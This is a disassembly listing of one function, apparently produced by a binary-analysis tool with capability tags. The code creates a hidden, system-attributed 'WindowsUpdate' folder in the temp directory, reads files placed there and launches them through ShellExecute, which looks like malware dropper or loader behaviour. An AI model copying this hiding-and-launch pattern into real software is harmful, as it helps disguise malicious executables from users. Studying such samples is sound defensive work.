Function at 0x40955b
Capabilities:
Check if file exists
Create directory
Create process on windows
Get common file path
Get file attributes
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c866
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x18bc
call fcn.0040be80
push 0x104
push 0
lea eax, [ebp - 0x84c]
push eax
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x438]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x640]
push edx
call fcn.0040be20
add esp, 0xc
mov dword [ebp - 0x644], 0x104
push 0x427794
lea eax, [ebp - 0x84c]
push eax
call fcn.0040c8aa
add esp, 8
push str.System_Volume_Info.ed7ba470_8e54_465e_825c_99712043e01cDO
lea ecx, [ebp - 0x84c]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0x438]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.WindowsUpdate
lea eax, [ebp - 0x438]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x409647
push 0
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [0x427cc0], 0
mov dword [0x427cc4], 0
mov dword [0x427cc8], 0
mov dword [0x427cc0], 0
mov dword [0x4220a4], 0
lea ecx, [ebp - 0x84c]
push ecx
lea edx, [ebp - 0x438]
push edx
call fcn.00409f81
add esp, 8
mov dword [0x427cc0], 0
mov dword [0x4220a4], 0
lea ecx, [ebp - 0x230]
call fcn.0040b0f8
mov dword [ebp - 4], 0
push 0x104
push 0
lea eax, [ebp - 0x214]
push eax
call fcn.0040be20
add esp, 0xc
lea ecx, [ebp - 0x438]
push ecx
lea edx, [ebp - 0x214]
push edx
call fcn.0040c8aa
add esp, 8
push str..
lea eax, [ebp - 0x214]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x214]
push ecx
lea ecx, [ebp - 0x230]
call fcn.0040b1bd
mov dword [ebp - 0x850], eax
cmp dword [ebp - 0x850], 0
je 0x409ccd
lea ecx, [ebp - 0x230]
call fcn.0040b3e3
mov dword [ebp - 0x850], eax
lea ecx, [ebp - 0x230]
call fcn.0040b3a6
test eax, eax
jne 0x409cc8
push 0x104
push 0
lea edx, [ebp - 0xa58]
push edx
call fcn.0040be20
add esp, 0xc
push 0x104
lea eax, [ebp - 0x18b4]
push eax
lea ecx, [ebp - 0x230]
call fcn.0040b5de
mov dword [ebp - 0x18c4], eax
mov ecx, dword [ebp - 0x18c4]
mov dword [ebp - 0x18c8], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x18c8]
call fcn.00417d62
push eax
lea edx, [ebp - 0xa58]
push edx
call fcn.0040c8aa
add esp, 8
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18b4]
call fcn.00417bc1
lea ecx, [ebp - 0x230]
call fcn.0040b0b0
test eax, eax
je 0x4097c1
jmp 0x409cc8
push 0x104
push 0
lea eax, [ebp - 0xe6c]
push eax
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0xc64]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x2e
lea edx, [ebp - 0xa58]
push edx
call fcn.0040b070
add esp, 8
mov dword [ebp - 0xa5c], eax
cmp dword [ebp - 0xa5c], 0
jne 0x409812
jmp 0x40970f
mov eax, dword [ebp - 0xa5c]
add eax, 2
push eax
lea ecx, [ebp - 0xc64]
push ecx
call fcn.0040c8aa
add esp, 8
lea edx, [ebp - 0xc64]
push edx
call fcn.0040c9bb
add esp, 4
push 0x423784
lea eax, [ebp - 0xc64]
push eax
call fcn.0040c1a0
add esp, 8
test eax, eax
jne 0x409cc8
push 0x104
push 0
lea ecx, [ebp - 0x1074]
push ecx
call fcn.0040be20
add esp, 0xc
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x1074]
push eax
call fcn.0040c8aa
add esp, 8
lea ecx, [ebp - 0x1074]
push ecx
call fcn.0040be00
add esp, 4
xor edx, edx
mov dx, word [ebp + eax*2 - 0x1076]
cmp edx, 0x5c
je 0x4098b4
push 0x42378c
lea eax, [ebp - 0x1074]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0xa58]
push ecx
lea edx, [ebp - 0x1074]
push edx
call fcn.0040c880
add esp, 8
push 0x104
push 0
lea eax, [ebp - 0x127c]
push eax
call fcn.0040be20
add esp, 0xc
lea ecx, [ebp - 0x1074]
push ecx
lea edx, [ebp - 0x127c]
push edx
call fcn.0040c8aa
add esp, 8
push 0x2e
lea eax, [ebp - 0x127c]
push eax
call fcn.0040b070
add esp, 8
mov dword [ebp - 0xa5c], eax
cmp dword [ebp - 0xa5c], 0
jne 0x40991b
jmp 0x40970f
push 0x423790
mov ecx, dword [ebp - 0xa5c]
add ecx, 2
push ecx
call fcn.0040c8aa
add esp, 8
lea edx, [ebp - 0x127c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x409cae
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x127c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x1498], eax
cmp dword [ebp - 0x1498], 0xffffffff
jne 0x40999d
mov dword [ebp - 0x18b8], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.0040b137
mov eax, dword [ebp - 0x18b8]
jmp 0x409cfa
push 0
mov ecx, dword [ebp - 0x1498]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1280], eax
cmp dword [ebp - 0x1280], 0
ja 0x4099ef
mov edx, dword [ebp - 0x1498]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x18bc], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.0040b137
mov eax, dword [ebp - 0x18bc]
jmp 0x409cfa
push 0x104
push 0
lea eax, [ebp - 0x148c]
push eax
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x1384]
push ecx
call fcn.0040be20
add esp, 0xc
push 0
lea edx, [ebp - 0x1490]
push edx
mov eax, dword [ebp - 0x1280]
push eax
lea ecx, [ebp - 0x1384]
push ecx
mov edx, dword [ebp - 0x1498]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x1498]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1494], 0
mov dword [ebp - 0x1388], 0
mov ecx, dword [ebp - 0x1280]
sub ecx, 1
cmp dword [ebp - 0x1494], ecx
jge 0x409cac
mov edx, dword [ebp - 0x1494]
movsx eax, byte [ebp + edx - 0x1384]
test eax, eax
jne 0x409b5d
push 0x104
push 0
lea ecx, [ebp - 0x16a4]
push ecx
call fcn.0040be20
add esp, 0xc
push 0
push 0
push 0x104
lea edx, [ebp - 0x16a4]
push edx
lea eax, [ebp - 0x1074]
push eax
call fcn.0040be00
add esp, 4
push eax
lea ecx, [ebp - 0x1074]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x104
push 0
lea edx, [ebp - 0x15a0]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x148c]
push eax
lea ecx, [ebp - 0x15a0]
push ecx
call fcn.0040bd10
add esp, 8
push 0
push 0
lea edx, [ebp - 0x15a0]
push edx
lea eax, [ebp - 0x16a4]
push eax
push 0x423798
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x149c], eax
push 0x104
push 0
lea ecx, [ebp - 0x148c]
push ecx
call fcn.0040be20
add esp, 0xc
mov dword [ebp - 0x1388], 0
mov edx, dword [ebp - 0x1494]
add edx, 2
mov dword [ebp - 0x1494], edx
jmp 0x409cac
mov eax, dword [ebp - 0x1494]
movsx ecx, byte [ebp + eax - 0x1384]
cmp ecx, 0xd
jne 0x409c6f
mov edx, dword [ebp - 0x1494]
movsx eax, byte [ebp + edx - 0x1383]
cmp eax, 0xa
jne 0x409c6f
lea ecx, [ebp - 0x148c]
push ecx
call fcn.0040c940
add esp, 4
test eax, eax
jbe 0x409c6f
push 0x104
push 0
lea edx, [ebp - 0x18b0]
push edx
call fcn.0040be20
add esp, 0xc
push 0
push 0
push 0x104
lea eax, [ebp - 0x18b0]
push eax
lea ecx, [ebp - 0x1074]
push ecx
call fcn.0040be00
add esp, 4
push eax
lea edx, [ebp - 0x1074]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x104
push 0
lea eax, [ebp - 0x17ac]
push eax
call fcn.0040be20
add esp, 0xc
lea ecx, [ebp - 0x148c]
push ecx
lea edx, [ebp - 0x17ac]
push edx
call fcn.0040bd10
add esp, 8
push 0
push 0
lea eax, [ebp - 0x17ac]
push eax
lea ecx, [ebp - 0x18b0]
push ecx
push 0x4237a0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x16a8], eax
push 0x104
push 0
lea edx, [ebp - 0x148c]
push edx
call fcn.0040be20
add esp, 0xc
mov dword [ebp - 0x1388], 0
mov eax, dword [ebp - 0x1494]
add eax, 2
mov dword [ebp - 0x1494], eax
mov ecx, dword [ebp - 0x1388]
mov edx, dword [ebp - 0x1494]
mov al, byte [ebp + edx - 0x1384]
mov byte [ebp + ecx - 0x148c], al
mov ecx, dword [ebp - 0x1388]
add ecx, 1
mov dword [ebp - 0x1388], ecx
mov edx, dword [ebp - 0x1494]
add edx, 1
mov dword [ebp - 0x1494], edx
jmp 0x409a60
jmp 0x409cc8
push 0
push 0
push 0
lea eax, [ebp - 0x1074]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x40970f
lea ecx, [ebp - 0x230]
call fcn.0040b173
mov dword [ebp - 0x18c0], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.0040b137
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret